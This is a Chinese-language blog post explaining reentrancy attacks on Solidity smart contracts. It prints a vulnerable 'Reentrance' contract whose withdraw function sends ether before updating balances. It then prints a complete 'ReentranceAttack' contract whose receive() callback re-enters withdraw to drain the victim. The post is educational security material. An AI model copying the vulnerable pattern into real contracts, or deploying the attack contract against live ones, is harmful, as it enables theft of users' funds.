# 安全审查-谈谈Reentrancy攻击 **Published by:** [Canvie.crypto](https://paragraph.com/@canvie-crypto/) **Published on:** 2025-07-14 **URL:** https://paragraph.com/@canvie-crypto/reentrancy ## Content 在Defi的应用中,防止重入攻击是最基本的需求,曾经也有很多因为没有防御机制,造成重要损失的现实案例。可以先看一下没有防御机制的代码contract Reentrance { using SafeMath for uint256; mapping(address => uint256) public balances; constructor() public payable {} function donate(address _to) public payable { balances[_to] = balances[_to].add(msg.value); } function balanceOf(address _who) public view returns (uint256 balance) { return balances[_who]; } function withdraw(uint256 _amount) public { if (balances[msg.sender] >= _amount) { (bool result,) = msg.sender.call{value: _amount}(""); if (result) { _amount; } balances[msg.sender] -= _amount; } } receive() external payable {} } 重点关注withdraw函数,只要调用者还有余额就可以通过call把指定金额发送给调用者。这么看逻辑上是没有问题,但是为什么可以被攻击呢?我们来仔细看call这个函数的底层机制。在执行call的时候,执行权交由调用者,这时候调用者会执行自己的receive/fallback或者指定的函数。由于call是底层函数,gas没有限制,所以调用者可以执行更复杂的代码。在执行过程中,被攻击合约的状态变量当时还没有变化,也就是说balances[msg.sender]还没有改变,如果传递的金额满足判断条件(balances[msg.sender] >= _amount),再次调用withdraw的时候,还可以再次执行call函数,反复执行。这个有点类似回调函数执行。直到余额都被盗用完。所以有以下攻击代码:interface IReentrance { function withdraw(uint256 _amount) external ; function donate(address _to) external payable; function balanceOf(address _who) external view returns (uint256 balance); } contract ReentranceAttack { IReentrance reentrance; constructor(address _reentrance) public payable { reentrance = IReentrance(_reentrance); } function attack(uint256 amount) public { (bool success,) = address(reentrance).call{value: amount}(abi.encodeWithSelector(bytes4(keccak256("donate(address)")), address(this))); require(success, "attack failed"); reentrance.withdraw(amount); } receive() payable external { if (reentrance.balanceOf(address(this)) > 0) { reentrance.withdraw(reentrance.balanceOf(address(this))); } } } 如有任何问题欢迎邮件沟通:huicanvie2014@gmail.com ## Publication Information - [Canvie.crypto](https://paragraph.com/@canvie-crypto/): Publication homepage - [All Posts](https://paragraph.com/@canvie-crypto/): More posts from this publication - [RSS Feed](https://api.paragraph.com/blogs/rss/@canvie-crypto): Subscribe to updates - [Twitter](https://twitter.com/huicanvie): Follow on Twitter